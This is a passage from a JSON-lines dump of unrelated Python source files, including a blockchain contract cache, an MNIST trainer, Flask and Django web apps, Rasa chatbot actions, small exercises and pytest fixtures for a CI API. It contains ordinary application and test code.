best_chain:\n _best_chain = None\n elif best_block and best_block == builder.best_block:\n _best_chain = builder.best_chain\n else:\n dummy, _best_chain = builder.get_best_chain(best_block=best_block)\n for block in reversed(best_chain or _best_chain):\n for tx in block.txs:\n if tx.hash == stop_txhash:\n raise StopIteration\n if tx.type != C.TX_CONCLUDE_CONTRACT:\n continue\n _c_address, _start_hash, c_storage = decode(tx.message)\n if _c_address != c_address:\n continue\n if _start_hash == start_hash:\n yield tx.hash\n # unconfirmed\n if best_block is None:\n for tx in sorted(tx_builder.unconfirmed.values(), key=lambda x: x.time):\n if tx.hash == stop_txhash:\n raise StopIteration\n if tx.type != C.TX_CONCLUDE_CONTRACT:\n continue\n _c_address, _start_hash, c_storage = decode(tx.message)\n if _c_address != c_address:\n continue\n if _start_hash == start_hash:\n yield tx.hash\n raise StopIteration\n\n\ndef start_tx2index(start_hash=None, start_tx=None):\n if start_hash:\n start_tx = tx_builder.get_tx(txhash=start_hash)\n block = builder.get_block(blockhash=builder.get_block_hash(height=start_tx.height))\n if block is None:\n raise BlockChainError('Not found block of start_tx included? {}'.format(start_tx))\n if start_tx not in block.txs:\n raise BlockChainError('Not found start_tx in block? {}'.format(block))\n return start_tx.height * 0xffffffff + block.txs.index(start_tx)\n\n\ndef update_contract_cashe():\n # affect when new blocks inserted to database\n # TODO: when update? 後で考えるので今は触らない\n with lock:\n count = 0\n for c_address, c_contract in cashe.items():\n c_iter = builder.db.read_contract_iter(c_address=c_address, start_idx=c_contract.db_index)\n for index, start_hash, finish_hash, (c_method, c_args, c_storage) in c_iter:\n c_contract.update(db_index=index, start_hash=start_hash, finish_hash=finish_hash,\n c_method=c_method, c_args=c_args, c_storage=c_storage)\n count += 1\n logging.debug(\"Contract cashe update {}tx\".format(count))\n\n\n__all__ = [\n \"M_INIT\", \"M_UPDATE\",\n \"Storage\",\n \"Contract\",\n \"contract_fill\",\n \"get_contract_object\",\n \"get_conclude_by_start_iter\",\n \"start_tx2index\",\n \"update_contract_cashe\",\n]\n","sub_path":"bc4py/database/contract.py","file_name":"contract.py","file_ext":"py","file_size_in_byte":11715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"23059911","text":"#!/usr/bin/env python\n\nimport os\nimport numpy as np\nimport chainer\nimport chainer.functions as F\nimport chainer.links as L\nfrom chainer import training\nfrom chainer.training import extensions\nfrom mlp import MLP\n\nbatchsize = 400\nepochs = 20\n\ndevice = -1\nif os.getenv('GPU', False):\n device = 0\n\nmodel = L.Classifier(MLP())\n\nif device == 0:\n chainer.backends.cuda.get_device_from_id(device).use()\n model.to_gpu()\n\noptimizer = chainer.optimizers.Adam()\noptimizer.setup(model)\n\ntrain, test = chainer.datasets.get_mnist()\ntrain_itr = chainer.iterators.SerialIterator(train, batchsize)\ntest_itr = chainer.iterators.SerialIterator(test, batchsize, repeat = False, shuffle = False)\n\nupdater = training.updaters.StandardUpdater(train_itr, optimizer, device = device)\ntrainer = training.Trainer(updater, (epochs, 'epoch'))\ntrainer.extend(extensions.Evaluator(test_itr, model, device = device))\ntrainer.extend(extensions.LogReport())\ntrainer.extend(extensions.PrintReport(['epoch', 'main/loss', 'validation/main/loss', 'main/accuracy', 'validation/main/accuracy', 'elapsed_time']))\n\ntrainer.extend(extensions.ProgressBar())\n\ntrainer.run()\n","sub_path":"src/chainer-mnist/mnist.py","file_name":"mnist.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"180628284","text":"from flask import Flask, jsonify, request\nfrom flask_cors import *\nfrom spider import GameRoomsSpider, UserSpider, NobleSpider\n\napp = Flask(__name__)\nCORS(app, supports_credentials=True)\n\n\n@app.route('/saveqq', methods=['POST', 'GET'])\ndef saveqq():\n qq = request.form.get(\"qq\")\n file = open(\"spider/qq.txt\", \"w\")\n file.write(qq)\n return jsonify()\n\n\n@app.route('/directory', methods=['POST', 'GET'])\ndef directory():\n return jsonify(GameRoomsSpider.GameRoomsSpider.getgamecateid())\n\n\n@app.route('/welcome', methods=['POST', 'GET'])\ndef welcome():\n location = request.form.get(\"location\")\n gameroomspider = GameRoomsSpider.GameRoomsSpider(location)\n return jsonify(gameroomspider.crawlrommsaudience())\n\n\n@app.route('/users', methods=['POST', 'GET'])\ndef users():\n location = request.form.get(\"location\")\n gameroomspider = GameRoomsSpider.GameRoomsSpider(location)\n userlist = gameroomspider.crawlrooms()\n return jsonify(userlist)\n\n\n@app.route('/userinfo', methods=['POST', 'GET'])\ndef userinfo():\n location = request.form.get(\"location\")\n print(location)\n user = UserSpider.UserSpider(location)\n return jsonify(user.getdata())\n\n\n@app.route('/guest', methods=['POST', 'GET'])\ndef guest():\n location = request.form.get(\"location\")\n file = open(\"spider/qq.txt\", \"r\")\n qq = file.read()\n print(qq)\n spider = NobleSpider.NobleSpider(location, qq)\n viplist = spider.getNobles()\n print(viplist)\n return jsonify(viplist)\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', debug=False)\n","sub_path":"Flask/envir/Scripts/Flask/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"426209965","text":"import io\nimport json\n\nx={}\nfor i in range(len(df)):\n temp={}\n temp[\"model\"] = \"jobs.jobsinfo\"\n temp[\"pk\"]= i\n x[i]=temp\n x[i][\"fields\"]={\n \"jobTitle\":(df[\"jobtitle\"][i]),\n \"description\": df[\"description\"][i],\n \"place\":df[\"place\"][i],\n \"link\":df[\"link\"][i],\n \"site\":df[\"site\"][i]}\nx=list(x.values())\n \nwith io.open('test.json', 'w',encoding='windows-1252') as fp:\n json.dump(x,fp)\n#Note: My django did not like indents so I got rid of them\n","sub_path":"web_django/src/saveJSON_snippet.py","file_name":"saveJSON_snippet.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"623873457","text":"from django.urls import path, include\nfrom .import views\n\n\napp_name = 'items'\n\n\nurlpatterns = [\n path('category/', views.GetCategoryItems, name='category_items'),\n path('item_details/', views.GetItemDetails, name='item_details'),\n path('img_and_size', views.GetItemImgAndSize, name='img_and_size'),\n] ","sub_path":"items/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"117167064","text":"from datetime import datetime, timezone\nfrom django.shortcuts import render, redirect\nfrom django.urls import reverse\nfrom wall.models import User, Message, Comment\nfrom django.contrib import messages\nimport bcrypt\nfrom django.db import IntegrityError\nfrom wall.decorators import login_required\n\n# Create your views here.\ndef index(request):\n return render(request, \"index.html\")\n\ndef register(request):\n print (request.POST)\n \n # getting form variables\n first_name = request.POST['first_name']\n last_name = request.POST['last_name']\n email = request.POST['email']\n birthday = request.POST['birthday']\n password = request.POST['password']\n password2 = request.POST['password2']\n \n # errors dict is received\n errors = User.objects.basic_validator(request.POST)\n \n # if there are errors\n if len(errors) > 0:\n for key, value in errors.items():\n messages.error(request, value)\n \n form_data = {\n 'first_name': first_name,\n 'last_name': last_name,\n 'email': email,\n 'birthday': birthday\n }\n \n request.session['form_data'] = form_data\n \n #return render(request, \"messages.html\")\n return redirect(reverse(\"my_index\"))\n else:\n try:\n # hashing password\n hashed_password = bcrypt.hashpw(password.encode(), bcrypt.gensalt()).decode()\n \n # creating the user\n this_user = User.objects.create(first_name=first_name, last_name=last_name, email=email, birthday=birthday, password=hashed_password) \n\n user_data = {\n 'user_id': this_user.id,\n 'first_name': this_user.first_name.capitalize(),\n 'last_name': this_user.last_name.capitalize(),\n 'email': this_user.email,\n 'action': 'register'\n }\n \n request.session['user_data'] = user_data\n \n messages.success(request, \"User successfully created and logged in\")\n \n return redirect(reverse(\"my_success\"))\n except IntegrityError as e:\n if 'UNIQUE constraint' in str(e.args):\n messages.error(request, 'Email is already registered, try logging in')\n \n form_data = {\n 'first_name': first_name.capitalize(),\n 'last_name': last_name.capitalize(),\n 'email': email,\n 'birthday': birthday\n }\n \n request.session['form_data'] = form_data\n\n #return render(request, \"messages.html\")\n return redirect(reverse(\"my_index\"))\n\ndef login(request):\n # form variables are received\n email_login = request.POST['email_login']\n password_login = request.POST['password_login']\n \n # errors dict is received\n errors = User.objects.basic_validator2(request.POST)\n \n # if there are errors\n if len(errors) > 0:\n for key, value in errors.items():\n messages.error(request, value)\n \n form_data = {\n 'email_login': email_login\n }\n \n request.session['form_data'] = form_data\n \n #print(request.session['form_data']['email_login'])\n \n return redirect(reverse(\"my_index\"))\n #return render(request, \"messages.html\")\n else:\n user = User.objects.filter(email=email_login)\n if user:\n logged_user = user[0] \n if bcrypt.checkpw(password_login.encode(), logged_user.password.encode()):\n # creating session variables for logged in user\n user_data = {\n 'user_id': logged_user.id,\n 'first_name': logged_user.first_name.capitalize(),\n 'last_name': logged_user.last_name.capitalize(),\n 'email': logged_user.email,\n 'action': 'login'\n }\n \n request.session['user_data'] = user_data\n \n messages.success(request, \"You have successfully login\")\n \n return redirect(reverse(\"my_success\"))\n else:\n messages.error(request, \"Wrong email or password\")\n \n return redirect(reverse(\"my_index\"))\n #return render(request, \"messages.html\")\n else:\n messages.error(request, \"Wrong email or password\")\n \n return redirect(reverse(\"my_index\"))\n #return render(request, \"messages.html\")\n\n@login_required\ndef success(request):\n return redirect(reverse(\"my_wall\"))\n \n@login_required \ndef homepage(request):\n return render(request, \"homepage.html\")\n\n@login_required \ndef wall(request):\n # retrieving messages\n all_messages = Message.objects.all().order_by(\"-id\")\n \n # retrieving comments\n all_comments = Comment.objects.all()\n \n context = {\n 'all_messages': all_messages,\n 'all_comments': all_comments\n }\n \n print(\"Entro a wall\")\n return render(request, \"wall.html\", context)\n #return render(request, \"messages_comments.html\", context)\n\n@login_required \ndef post_message(request):\n print(request.POST)\n # form variables are received\n message = request.POST['message']\n \n # errors dict is received\n errors = Message.objects.basic_validator(request.POST)\n \n # retrieving messages\n all_messages = Message.objects.all().order_by(\"-id\")\n \n # retrieving comments\n all_comments = Comment.objects.all()\n \n context = {\n 'all_messages': all_messages,\n 'all_comments': all_comments,\n 'form_send': True\n }\n \n # if there are errors\n if len(errors) > 0:\n for key, value in errors.items():\n messages.error(request, value)\n else: # no errors\n id = request.session['user_data']['user_id']\n this_user = User.objects.get(id=id)\n \n # save message\n Message.objects.create(message=message, user_id=this_user)\n \n messages.success(request, \"Message posted successfully\")\n \n return render(request, \"messages_comments.html\", context)\n\n@login_required \ndef del_message(request):\n print(request.POST)\n # form variables are received\n message_id = request.POST['message_id']\n message_to_delete = Message.objects.get(id=message_id)\n \n # calculating message age\n message_date = message_to_delete.created_at\n date_now = datetime.now(timezone.utc)\n time_delta = (date_now - message_date)\n total_seconds = time_delta.total_seconds()\n minutes = total_seconds/60\n\n # if message was posted more than 30 mins ago\n if minutes > 30:\n messages.error(request, \"Cannot delete message\") \n else:\n message_to_delete.delete()\n messages.success(request, \"Message deleted\")\n \n # retrieving messages\n all_messages = Message.objects.all().order_by(\"-id\")\n \n # retrieving comments\n all_comments = Comment.objects.all()\n \n context = {\n 'all_messages': all_messages,\n 'all_comments': all_comments,\n 'form_send': True\n }\n \n return render(request, \"messages_comments.html\", context)\n\n@login_required \ndef post_comment(request):\n print(request.POST)\n # form variables are received\n comment = request.POST['comment']\n message_id = request.POST['message_id']\n \n # errors dict is received\n errors = Comment.objects.basic_validator(request.POST)\n \n # if there are errors\n if len(errors) > 0:\n for key, value in errors.items():\n messages.error(request, value)\n else: # no errors\n user_id = request.session['user_data']['user_id']\n this_user = User.objects.get(id=user_id)\n this_message = Message.objects.get(id=message_id)\n \n # save message\n Comment.objects.create(message_id=this_message, user_id=this_user, comment=comment)\n \n messages.success(request, \"Comment posted successfully\")\n \n # retrieving messages\n all_messages = Message.objects.all().order_by(\"-id\")\n \n # retrieving comments\n all_comments = Comment.objects.all()\n \n context = {\n 'all_messages': all_messages,\n 'all_comments': all_comments,\n 'form_send': True\n }\n\n return render(request, \"messages_comments.html\", context)\n\n@login_required \ndef del_comment(request):\n print(request.POST)\n # form variables are received\n comment_id = request.POST['comment_id']\n \n comment_to_delete= Comment.objects.get(id=comment_id)\n comment_to_delete.delete()\n \n messages.success(request, \"Comment deleted\")\n \n # retrieving messages\n all_messages = Message.objects.all().order_by(\"-id\")\n \n # retrieving comments\n all_comments = Comment.objects.all()\n \n context = {\n 'all_messages': all_messages,\n 'all_comments': all_comments,\n 'form_send': True\n }\n \n return render(request, \"messages_comments.html\", context)\n \n@login_required\ndef about(request):\n return render(request, \"about.html\")\n\ndef logout(request):\n # deleting session variables\n if 'form_data' in request.session:\n del request.session['form_data']\n \n if 'user_data' in request.session:\n del request.session['user_data']\n messages.success(request, \"You have successfully logout\")\n \n return redirect(reverse(\"my_index\")) ","sub_path":"wall/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"364013985","text":"__author__ = 'Folaefolc'\n\"\"\"\nCode par Folaefolc\nLicence MIT\n\"\"\"\n\nfrom ..constants import *\nfrom . import _village\n\n\nclass GameView:\n def __init__(self, screen: pygame.Surface, village: _village.Village):\n self.screen = screen\n self.village = village\n\n def render(self):\n for building in self.village.get():\n self.screen.blit(building.draw(), (building.x * CASE_SIZE, building.y * CASE_SIZE))","sub_path":"core/game/_view.py","file_name":"_view.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"157184042","text":"import sys, glob, csv\r\n\r\nfolder = sys.argv[1]\r\nsteer = float(sys.argv[2])\r\n\r\nwith open('training_data\\\\{}\\\\driving_log.csv'.format(folder), 'w', newline='') as csvfile:\r\n writer = csv.writer(csvfile, delimiter=',')\r\n for i in glob.glob('training_data\\\\{}\\\\IMG\\\\*'.format(folder)):\r\n print(i,steer)\r\n data = [i,i,i,steer,0,0,15]\r\n writer.writerow(data)\r\n","sub_path":"make_drive_log.py","file_name":"make_drive_log.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"407092741","text":"import sys\nsys.stdin = open(\"input_sp.txt\", \"r\")\n\n\nT = int(input())\nfor tc in range(1, T+1):\n print(\"#%d\" %(tc), end=\" \")\n N = int(input())\n L = list(map(int, input().split()))\n for idx in range(N-1):\n min = idx\n for j in range(idx+1, N):\n if L[min] > L[j]:\n min = j\n L[idx], L[min] = L[min], L[idx]\n i_li = [i for i in range(N)]\n for i in range(5):\n print(L[-(i+1)], end=\" \")\n print(L[i], end=\" \")\n print()","sub_path":"05_알고리즘/190816/4843. [파이썬 SW 문제해결 기본] 2일차 - 특별한 정렬.py","file_name":"4843. [파이썬 SW 문제해결 기본] 2일차 - 특별한 정렬.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"66415366","text":"#! python3\n# dealMatch.py - referencia a base compilada à base de Deals\n\nfrom utils import ddmdata, cleaner\nimport sys, re\nfrom more_itertools import unique_everseen as unique\n\ndeals = ddmdata.readcsv(sys.argv[1])\nbase = ddmdata.readcsv(sys.argv[2])\ncommand = sys.argv[3]\nid_type = 'ID'\n\ndeals = cleaner.clean(deals)\nbase = cleaner.clean(base)\n\nif command == 'dealid':\n for deal in deals:\n idlist = []\n for startup in base:\n if startup['Tirar?']:\n continue\n if deal['Site'] and (deal['Site'] == startup['Site']):\n idlist.append(startup[id_type])\n elif cleaner.bare(deal['Startup']) == cleaner.bare(startup['Startup']):\n idlist.append(startup[id_type])\n idlist = list(unique(idlist))\n while '' in idlist:\n idlist.remove('')\n if len(idlist) > 1:\n print('{} has more than one ID! {}'.format(deal['Startup'], ', '.join(idlist)))\n deal[id_type] = ';'.join(idlist)\n\n ddmdata.writecsv(deals, 'deals_matched.csv')\n\nif command == 'funding':\n\n ignoreList = ['Acquisition', 'Debt Financing', 'Secondary Market', 'Convertible Note', 'Fusão', 'IPO']\n\n for startup in base:\n startupdeals = []\n for deal in deals:\n if startup[id_type] in deal[id_type].split(';'):\n startupdeals.append(deal)\n if startupdeals:\n funding = 0\n for deal in startupdeals:\n if deal['Valor da Rodada (em USD)'] and deal['Funding'] and deal['Funding'] not in ignoreList:\n if deal['Valor da Rodada (em USD)'] != '-':\n try:\n funding += int(re.sub('[^\\d]', '', deal['Valor da Rodada (em USD)']))\n except Exception as e:\n print(repr(e)) \n continue\n startup['Funding total'] = funding\n\n ddmdata.writecsv(base, 'base_com_funding.csv')\n","sub_path":"dealMatch.py","file_name":"dealMatch.py","file_ext":"py","file_size_in_byte":1989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"557856052","text":"from sys import argv\n\n\nlongestLineLength = 0\nwordCount = 0\nlongestWordLength = 0\nallCharCount = 0\nnonWhiteSpaceCharCount = 0\n\nwith open(argv[1]) as inFile:\n lines = inFile.readlines()\n\nfor line in lines:\n allCharCount += len(line)\n if(len(line.rstrip(\"\\n\")) > longestLineLength):\n longestLineLength = len(line.rstrip(\"\\n\"))\n line = line.rstrip(\"\\n\").split(\" \")\n if(len(line) == 1) and (line[0] == ''):\n continue\n for word in line:\n if(len(word) > longestWordLength):\n longestWordLength = len(word)\n nonWhiteSpaceCharCount += len(word)\n wordCount += len(line)\n \n \nprint(\"Lines:\", len(lines)) \nprint(\"Max line length:\", longestLineLength)\nprint(\"Words:\", wordCount)\nprint(\"Max word length:\", longestWordLength)\nprint(\"All characters:\", allCharCount)\nprint(\"Non-whitespace:\", nonWhiteSpaceCharCount)\n\n","sub_path":"Round 3/Task 2/Task2.py","file_name":"Task2.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"353254330","text":"from rasa_core.actions import Action\nfrom rasa_core.events import SlotSet\nfrom rasa_core.trackers import DialogueStateTracker\n\n\nclass ActionEvalEingabekanal(Action):\n def name(self):\n return \"ActionEvalEingabekanal\"\n\n def run(self, dispatcher, tracker:DialogueStateTracker, domain):\n anz_kurs = tracker.get_slot(\"anz_kuerse\")\n change_freq = tracker.get_slot(\"change_freq\")\n eingabe_kanal = \"online\"\n if int(anz_kurs) > 50:\n if change_freq in [\"täglich\",\"wöchentlich\"]:\n eingabe_kanal = \"xml\"\n\n return [SlotSet(key=\"empfohlenes_kanal\",value=eingabe_kanal)]\n\n\nclass ActionEvalEingabeverfahren(Action):\n def name(self):\n return \"ActionEvalEingabeverfahren\"\n\n def run(self, dispatcher, tracker:DialogueStateTracker, domain):\n kanal = tracker.get_slot(\"empfohlenes_kanal\")\n auf_ok = tracker.get_slot(\"aufwand_ok\")\n verfahren = \"redaktion\"\n if auf_ok == \"ja\":\n verfahren = kanal\n elif auf_ok == \"nein\":\n if kanal == \"xml\":\n verfahren = \"extern\"\n\n return [SlotSet(key=\"empfohlenes_verfahren\",value=verfahren)]","sub_path":"infosys_cui/actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"228769072","text":"from flask import Blueprint, render_template, session, redirect, url_for, request, jsonify\nfrom flask_cors import CORS, cross_origin\nfrom endpoint.controllers.engine import get_engine_move\nfrom endpoint.controllers.chess_ai import getMoveMinimaxStr\nbp = Blueprint(\"index\", __name__, url_prefix=\"/\")\n\ncors = CORS(bp, resources={r\"/*\" : {'origins' : \"https://chess-webapp.com\"}})\n\n@bp.route('/naive', methods = ['GET','POST','OPTIONS'])\n@cross_origin(origin='https://chess-webapp.com', headers=['Content-Type'])\ndef naive():\n req = request.get_json()\n fen = req[\"fen\"]\n color = fen.split(\" \")[1]\n if(color == \"w\"):\n color = \"white\"\n elif(color == \"b\"):\n color = \"black\"\n res = jsonify({'move' : str(getMoveMinimaxStr(fen, color))})\n return res\n\n@bp.route('/engine', methods = ['GET','POST','OPTIONS'])\n@cross_origin(origin='https://chess-webapp.com', headers=['Content-Type'])\ndef engine():\n req = request.get_json()\n fen = req[\"fen\"]\n res = jsonify({'move' : str(get_engine_move(fen))})\n return res\n","sub_path":"endpoint/controllers/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"88020798","text":"\"\"\"\n题目:给定两个非空链表来表示两个非负整数。位数按照逆序方式存储,它们的每个节点只存储单个数字。将两数相加返回一个新的链表。你可以假设除了数字 0\n之外,这两个数字都不会以零开头。\neg: 输入:(2 -> 4 -> 3) + (5 -> 6 -> 4) 输出:7 -> 0 -> 8 原因:342 + 465 = 807\n日期:2018/07/30\n\"\"\"\n\n\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\nclass Solution:\n def addTwoNumbers(self, l1, l2):\n num1 = num2 = ''\n while l1:\n num1 += str(l1.val)\n l1 = l1.next\n while l2:\n num2 += str(l2.val)\n l2 = l2.next\n data = str(int(num2[::-1]) + int(num1[::-1]))[::-1]\n p = head = ListNode(int(data[0]))\n for i in data[1:]:\n node = ListNode(int(i))\n p.next = node\n p = p.next\n return head\n\n\nif __name__ == '__main__':\n t1 = ListNode(3)\n t2 = ListNode(4)\n t2.next = t1\n t3 = ListNode(2)\n t3.next = t2\n\n b1 = ListNode(4)\n b2 = ListNode(6)\n b2.next = b1\n b3 = ListNode(5)\n b3.next = b2\n\n solution = Solution()\n print(solution.addTwoNumbers(t3, b3))\n","sub_path":"day2/addTwoNumbers.py","file_name":"addTwoNumbers.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"111973542","text":"from controller.BanksController import BanksController\nfrom controller.CurrentController import CurrentController\nfrom controller.DeviceController import DeviceController\nfrom controller.EffectController import EffectController\nfrom controller.NotificationController import NotificationController\nfrom controller.ParamController import ParamController\nfrom controller.PatchController import PatchController\nfrom controller.PluginsController import PluginsController\n\n\nclass Application(object):\n controllers = {}\n\n def __init__(self, dataPatch=\"data/\", test=False):\n self.dataPatch = dataPatch\n\n controllers = [\n BanksController,\n CurrentController,\n DeviceController,\n EffectController,\n NotificationController,\n ParamController,\n PatchController,\n PluginsController\n ]\n if test:\n from unittest.mock import Mock \n controllers.remove(DeviceController)\n self.controllers[DeviceController.__name__] = Mock(spec=DeviceController)\n\n for controller in controllers:\n self.controllers[controller.__name__] = controller(self)\n\n for controller in list(self.controllers.values()):\n controller.configure()\n\n def dao(self, dao):\n return dao(self.dataPatch)\n\n def controller(self, controller):\n return self.controllers[controller.__name__]\n\n\nclass ApplicationSingleton(object):\n instance = None\n\n @classmethod\n def getInstance(cls):\n if cls.instance is None:\n cls.instance = Application(test=True)\n\n return cls.instance\n","sub_path":"Application.py","file_name":"Application.py","file_ext":"py","file_size_in_byte":1652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"70012738","text":"# a\r\nfrom itertools import count, cycle\r\n\r\nfor el in count(1):\r\n if el > 20:\r\n break\r\n else:\r\n print(el)\r\n\r\nprint('-' * 50)\r\n\r\n# б\r\na = 0\r\n\r\nfor el in cycle('Vera K '):\r\n if a > 10:\r\n break\r\n print(el)\r\n a += 1\r\n","sub_path":"les_4/les_4_task_6.py","file_name":"les_4_task_6.py","file_ext":"py","file_size_in_byte":249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"207870692","text":"# -*- encoding: utf-8 -*-\n#\n# Copyright 2015-2016 Red Hat, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport dci.app\nfrom dci.db import models\nfrom dci.elasticsearch import engine as elastic_engine\nfrom dci.stores.swift import Swift\nimport tests.utils as utils\nfrom dci.common import utils as dci_utils\n\nfrom passlib.apps import custom_app_context as pwd_context\nimport contextlib\nimport pytest\nimport sqlalchemy\nimport sqlalchemy_utils.functions\nimport mock\n\nimport uuid\n\nSWIFT = 'dci.stores.swift.Swift'\n\n\n@pytest.fixture(scope='session')\ndef engine(request):\n utils.rm_upload_folder()\n db_uri = utils.conf['SQLALCHEMY_DATABASE_URI']\n\n engine = sqlalchemy.create_engine(db_uri)\n\n if not sqlalchemy_utils.functions.database_exists(db_uri):\n sqlalchemy_utils.functions.create_database(db_uri)\n utils.restore_db(engine)\n return engine\n\n\n@pytest.fixture(scope='session')\ndef es_engine(request):\n el_engine = elastic_engine.DCIESEngine(es_host=utils.conf['ES_HOST'],\n es_port=utils.conf['ES_PORT'],\n index='dci', timeout=60)\n\n def fin():\n el_engine.cleanup()\n request.addfinalizer(fin)\n return el_engine\n\n\n@pytest.fixture\ndef empty_db(engine):\n with contextlib.closing(engine.connect()) as con:\n meta = models.metadata\n trans = con.begin()\n for table in reversed(meta.sorted_tables):\n con.execute(table.delete())\n trans.commit()\n return True\n\n\n@pytest.fixture\ndef reset_file_event(engine):\n with contextlib.closing(engine.connect()) as con:\n trans = con.begin()\n con.execute(\"ALTER SEQUENCE files_events_id_seq RESTART WITH 1\")\n trans.commit()\n return True\n\n\n@pytest.fixture\ndef delete_db(request, engine, teardown_db_clean):\n models.metadata.drop_all(engine)\n engine.execute(\"DROP TABLE IF EXISTS alembic_version\")\n\n\n@pytest.fixture(scope='session', autouse=True)\ndef memoize_password_hash():\n pwd_context.verify = utils.memoized(pwd_context.verify)\n pwd_context.encrypt = utils.memoized(pwd_context.encrypt)\n\n\n@pytest.fixture\ndef teardown_db_clean(request, engine):\n request.addfinalizer(lambda: utils.restore_db(engine))\n\n\n@pytest.fixture\ndef fs_clean(request):\n \"\"\"Clean test file upload directory\"\"\"\n request.addfinalizer(utils.rm_upload_folder)\n\n\n@pytest.fixture\ndef db_provisioning(empty_db, engine):\n with engine.begin() as conn:\n utils.provision(conn)\n\n\n@pytest.fixture\ndef app(db_provisioning, engine, es_engine, fs_clean):\n app = dci.app.create_app(utils.conf, es_engine)\n app.testing = True\n app.engine = engine\n return app\n\n\n@pytest.fixture\ndef admin(app, db_provisioning):\n return utils.generate_client(app, ('admin', 'admin'))\n\n\n@pytest.fixture\ndef admin_id(admin):\n team = admin.get('/api/v1/users?where=name:admin')\n team = admin.get('/api/v1/users/%s' % team.data['users'][0]['id']).data\n return str(team['user']['id'])\n\n\n@pytest.fixture\ndef unauthorized(app, db_provisioning):\n return utils.generate_client(app, ('bob', 'bob'))\n\n\n@pytest.fixture\ndef user(app, db_provisioning):\n return utils.generate_client(app, ('user', 'user'))\n\n\n@pytest.fixture\ndef user_sso(app, db_provisioning, access_token):\n return utils.generate_client(app, access_token=access_token)\n\n\n@pytest.fixture\ndef user_id(admin):\n team = admin.get('/api/v1/users?where=name:user')\n team = admin.get('/api/v1/users/%s' % team.data['users'][0]['id']).data\n return str(team['user']['id'])\n\n\n@pytest.fixture\ndef user_admin(app, db_provisioning):\n return utils.generate_client(app, ('user_admin', 'user_admin'))\n\n\n@pytest.fixture\ndef user_admin_id(admin):\n team = admin.get('/api/v1/users?where=name:user_admin')\n team = admin.get('/api/v1/users/%s' % team.data['users'][0]['id']).data\n return str(team['user']['id'])\n\n\n@pytest.fixture\ndef product_owner(app, db_provisioning):\n return utils.generate_client(app, ('product_owner', 'product_owner'))\n\n\n@pytest.fixture\ndef product_owner_id(admin):\n team = admin.get('/api/v1/users?where=name:product_owner')\n team = admin.get('/api/v1/users/%s' % team.data['users'][0]['id']).data\n return str(team['user']['id'])\n\n\n@pytest.fixture\ndef topic_id(admin, team_id, product):\n data = {'name': 'topic_name', 'product_id': product['id'],\n 'component_types': ['type_1', 'type_2', 'type_3']}\n topic = admin.post('/api/v1/topics', data=data).data\n t_id = topic['topic']['id']\n admin.post('/api/v1/topics/%s/teams' % t_id, data={'team_id': team_id})\n return str(t_id)\n\n\n@pytest.fixture\ndef topic_id_product(product_owner, team_id, product):\n data = {'name': 'Ansible-2.4', 'product_id': product['id'],\n 'component_types': ['git-commit']}\n topic = product_owner.post('/api/v1/topics', data=data).data\n t_id = topic['topic']['id']\n product_owner.post('/api/v1/topics/%s/teams' % t_id,\n data={'team_id': team_id})\n return str(t_id)\n\n\n@pytest.fixture\ndef topic(admin, team_user_id, product):\n topic = admin.post('/api/v1/topics', data={\n 'name': 'OSP12',\n 'product_id': product['id'],\n 'component_types': ['puddle_osp']\n }).data['topic']\n admin.post('/api/v1/components', data={\n 'topic_id': topic['id'],\n 'name': 'RH7-RHOS-12.0 2017-11-09.2',\n 'type': 'puddle_osp',\n 'export_control': True\n })\n admin.post('/api/v1/topics/%s/teams' % topic['id'],\n data={'team_id': team_user_id})\n return topic\n\n\n@pytest.fixture\ndef test_id(admin, team_id):\n data = {'name': 'pname', 'team_id': team_id}\n test = admin.post('/api/v1/tests', data=data).data\n return str(test['test']['id'])\n\n\n@pytest.fixture\ndef test_user_id(admin, team_user_id):\n data = {'name': 'pname', 'team_id': team_user_id}\n test = admin.post('/api/v1/tests', data=data).data\n return 